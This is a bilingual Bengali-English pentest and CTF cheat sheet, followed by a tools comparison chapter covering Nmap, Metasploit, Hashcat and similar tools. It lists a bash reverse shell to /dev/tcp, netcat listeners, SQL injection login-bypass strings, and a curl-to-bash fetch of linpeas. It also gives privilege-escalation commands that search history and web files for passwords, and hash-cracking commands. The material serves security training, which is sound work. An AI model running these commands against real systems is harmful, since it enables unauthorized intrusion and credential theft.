সবচেয়ে বেশি ব্যবহৃত কমান্ড একনজরেMost frequently used commands at a glance
এই Cheat Sheet কীভাবে ব্যবহার করবে?How to use this Cheat Sheet?
CTF বা Pentest-এর সময় দ্রুত কমান্ড খোঁজার জন্য এই section-টি bookmark করো। Bookmark this section to quickly find commands during a CTF or Pentest.

🔍 Reconnaissance (তথ্য সংগ্রহ)Reconnaissance (Information Gathering)

🌐 Nmap
nmap -sV -sC -oNসার্ভিস + স্ক্রিপ্ট স্ক্যানService + script scan
nmap -p- --min-rate 5000সব পোর্ট দ্রুত স্ক্যানFast full port scan
nmap -sU -p 161UDP স্ক্যান (SNMP)UDP scan (SNMP)
nmap --script vulnVulnerability স্ক্যানVulnerability scan
nmap -sn 192.168.1.0/24Host discoveryHost discovery
🕵️ OSINT
whois domain.comDomain মালিকের তথ্যDomain owner info
dig domain.com ANYসব DNS recordAll DNS records
subfinder -d domain.comSubdomain খোঁজাSubdomain discovery
theHarvester -d target.comEmail ও subdomainEmails & subdomains
shodan search apacheInternet device খোঁজাInternet device search

🐚 Reverse ShellReverse Shell

💻 Listener (আমার মেশিনে)Listener (On My Machine)
nc -lvnp 4444Netcat listenerNetcat listener
rlwrap nc -lvnp 4444Arrow key সহ listenerListener with arrow keys
🎯 Shell Payload (Target-এ)Shell Payload (On Target)
bash -i >& /dev/tcp/IP/4444 0>&1Bash
python3 -c 'import socket...'Python
php -r '$s=fsockopen...'PHP
msfvenom -p linux/x64/shellMSF Payload

⬆️ Privilege Escalation Quick CheckPrivilege Escalation Quick Check

# ১. প্রথমেই চালাও sudo -l # কী কী sudo-তে চালাতে পারি?What can I run with sudo? id && whoami # আমি কে?Who am I? cat /etc/passwd | grep -v nologin # login করতে পারে এমন userUsers that can login # ২. SUID বাইনারি find / -perm -4000 -type f 2>/dev/null | head -20 # ৩. Cron job cat /etc/crontab && ls /etc/cron.* # ৪. Writable directory/file find / -writable -type f 2>/dev/null | grep -v proc # ৫. Kernel version → exploit খোঁজা uname -a searchsploit linux kernel $(uname -r) # ৬. Password file-এ plain text? grep -r "password\|passwd" /var/www/ /home/ 2>/dev/null # ৭. History-তে কিছু আছে? cat ~/.bash_history | grep -E "pass|ssh|mysql|ftp" # ৮. Automated tool curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

🌐 Web Attack Quick RefWeb Attack Quick Reference

🕷️ SQLi পরীক্ষাTesting
' OR '1'='1Basic auth bypassBasic auth bypass
' OR 1=1--Comment দিয়ে bypassBypass with comment
admin'--Admin login bypassAdmin login bypass
1 UNION SELECT 1,2,3--Column সংখ্যা বের করাFind column count
sqlmap -u URL --dbsAutomated SQLiAutomated SQLi
📁 Directory ব্রুটফোর্সBruteforce
gobuster dir -u URL -w wordlistGobuster
ffuf -u URL/FUZZ -w listFFUF
dirb URL /usr/share/dirb/wordlists/Dirb
nikto -h URLWeb vulnerability scanWeb vulnerability scan

🔑 Password CrackingPassword Cracking

🔓 Hashcat
hashcat -m 0MD5
hashcat -m 1000NTLM (Windows)
hashcat -m 1800SHA-512 (Linux)
hashcat -m 22000WPA2 WiFi
hashcat -a 3 ?a?a?a?aBrute force maskBrute force mask
🔑 John the Ripper
john hash.txt --wordlist=rockyou.txtDictionary attackDictionary attack
unshadow passwd shadow > h.txtLinux hash বের করাExtract Linux hash
ssh2john id_rsa > hashSSH key crackSSH key crack
zip2john file.zip > hashZIP password crackZIP password crack

🐚 Shell Upgrade — Interactive ShellShell Upgrade — Interactive Shell

# Dumb shell পেলে এটা দিয়ে upgrade করো: python3 -c 'import pty; pty.spawn("/bin/bash")' # তারপর: Ctrl+Z stty raw -echo; fg export TERM=xterm stty rows 50 cols 200

📋 Cheat Sheet সারসংক্ষেপCheat Sheet Summary

  • 🔍 Recon: nmap → gobuster → niktoRecon: nmap → gobuster → nikto
  • 💥 Exploit: searchsploit → metasploit → manualExploit: searchsploit → metasploit → manual
  • ⬆️ PrivEsc: sudo -l → SUID → cron → kernelPrivEsc: sudo -l → SUID → cron → kernel
  • 🔑 Password: john → hashcat → hydraPassword: john → hashcat → hydra
  • 🐚 Shell: nc listener → payload → upgradeShell: nc listener → payload → upgrade
CHAPTER 15
🔧 Tools Comparison — সেরা টুল বেছে নাওTools Comparison — Choose the Best Tool
কোন কাজে কোন টুল — পাশাপাশি তুলনাWhich tool for which task — side by side comparison

🌐 Port Scanner তুলনাPort Scanner Comparison

টুলTool গতিSpeed নির্ভুলতাAccuracy বিশেষত্বSpecialty কখন ব্যবহার করবেWhen to Use
Nmap⭐⭐⭐⭐⭐⭐⭐⭐NSE Scripts, OS detectionসব সময় প্রথম পছন্দAlways first choice
Masscan⭐⭐⭐⭐⭐⭐⭐⭐অতিদ্রুতUltra fastবড় নেটওয়ার্ক দ্রুত স্ক্যানLarge network quick scan
Rustscan⭐⭐⭐⭐⭐⭐⭐⭐⭐Rust-based, fastCTF-এ দ্রুত সব পোর্টQuick all-port scan in CTF
Netcat⭐⭐⭐⭐⭐⭐Banner grabbingManual port checkManual port check

💥 Exploitation Framework তুলনাExploitation Framework Comparison

টুলTool ধরনType ভালো দিকStrengths দুর্বল দিকWeaknesses ব্যবহারUse Case
MetasploitFrameworkসব কিছু built-in, সহজEverything built-in, easyIDS detect করে সহজেEasily detected by IDSCVE exploit, post-exploitCVE exploit, post-exploit
SQLmapWebAutomated SQL injectionAutomated SQL injectionশুধু SQL injectionSQL injection onlyWeb database attackWeb database attack
Burp SuiteWeb Proxyসব web attackAll web attacksGUI, manual interventionGUI, manual interventionWeb app pentestingWeb app pentesting
BeEFBrowserBrowser hookingBrowser hookingJS requiredJS requiredXSS-এর পরেAfter XSS
Exploit-DB / searchsploitDatabaseOffline exploit খোঁজাOffline exploit searchManual executionManual executionCVE এর public exploitPublic exploit for CVE

🔑 Password Attack Tools তুলনাPassword Attack Tools Comparison

টুলTool ধরনType GPU supportGPU Support কখন ব্যবহারWhen to Use
HydraOnline BFLive service (SSH, FTP, HTTP)Live service (SSH, FTP, HTTP)
MedusaOnline BFHydra-এর বিকল্পAlternative to Hydra
John the RipperOffline⚠️ LimitedLinux shadow, ZIP, SSH keyLinux shadow, ZIP, SSH key
HashcatOffline✅ BestGPU দিয়ে দ্রুত crackFast crack with GPU
CrackStationOnlineN/ASimple hash online lookupSimple hash online lookup

📡 Network Analysis ToolsNetwork Analysis Tools

টুলTool ইন্টারফেসInterface বিশেষত্বSpecialty ব্যবহারUse Case
WiresharkGUIPacket analysisPacket analysisNetwork traffic বিশ্লেষণ, CTF forensicsNetwork traffic analysis, CTF forensics
tcpdumpCLIদ্রুত captureFast captureRemote server-এ packet capturePacket capture on remote server
TsharkCLIWireshark CLI versionWireshark CLI versionScript দিয়ে packet analysisScripted packet analysis
Netcat (nc)CLIMulti-purposeMulti-purposePort scan, reverse shell, file transferPort scan, reverse shell, file transfer
ss / netstatCLILocal socket infoLocal socket infoOpen port ও connection দেখাView open ports & connections

🛡️ Blue Team vs Red Team ToolsBlue Team vs Red Team Tools

🔴 Red Team (Attacker)

টুলToolকাজPurpose
Nmapস্ক্যানিংScanning
Metasploitএক্সপ্লয়েটExploiting
Burp Suiteওয়েব অ্যাটাকWeb attack
Hashcatপাসওয়ার্ড ক্র্যাকPassword crack
LinPEASPrivEsc খোঁজাFind PrivEsc
MimikatzCredential dumpCredential dump

🔵 Blue Team (Defender)

টুলToolকাজPurpose
Snort / SuricataIDS/IPSIDS/IPS
Fail2BanBrute force blockBlock brute force
Wazuh / OSSECSIEM / Log analysisSIEM / Log analysis
WiresharkTraffic বিশ্লেষণTraffic analysis
auditdAudit loggingAudit logging
LynisSecurity auditSecurity audit

📊 কোন Distro কোন কাজে?Which Distro for Which Task?

Distro সেরা ব্যবহারBest Use প্রি-ইনস্টলড টুলPre-installed Tools আমাদের রেটিংOur Rating
Kali LinuxPenetration TestingPenetration Testing600+⭐⭐⭐⭐⭐ সেরা পছন্দBest choice
Parrot OSSecurity + PrivacySecurity + Privacy400+⭐⭐⭐⭐ হালকা মেশিনেFor light machines
BlackArchAdvanced PentestingAdvanced Pentesting2800+⭐⭐⭐⭐⭐ Expert-দের জন্যFor experts
REMnuxMalware AnalysisMalware Analysis100+⭐⭐⭐⭐⭐ ForensicsForensics
TAILSAnonymityAnonymity50+⭐⭐⭐⭐ PrivacyPrivacy
Ubuntu ServerBlue Team Lab SetupBlue Team Lab Setup0⭐⭐⭐ Practice targetPractice target

🔧 Tools Selection গাইডTools Selection Guide

  • 🔍 Scanning → সবসময় Nmap দিয়ে শুরুScanning → Always start with Nmap
  • 💥 Exploitation → Metasploit প্রথমে, তারপর manualExploitation → Metasploit first, then manual
  • 🔑 Hash Crack → GPU থাকলে Hashcat, না থাকলে JohnHash Crack → Use Hashcat with GPU, John without
  • 🌐 Web Testing → Burp Suite সবার আগেWeb Testing → Burp Suite first
  • ⬆️ PrivEsc → LinPEAS চালাও, তারপর manual checkPrivEsc → Run LinPEAS, then manual check
  • 📡 Traffic Analysis → Wireshark (GUI) বা tcpdump (CLI)Traffic Analysis → Wireshark (GUI) or tcpdump (CLI)

🐧 "In the world of Linux, the terminal is your superpower."

এই ডকুমেন্ট সম্পূর্ণ শিক্ষামূলক উদ্দেশ্যে। সব সময় authorized environment-এ প্র্যাকটিস করো। This document is entirely for educational purposes. Always practice in an authorized environment.

v2.0 — Roadmap + Cheat Sheet + Tools Comparison + Bilingual + Dark Mode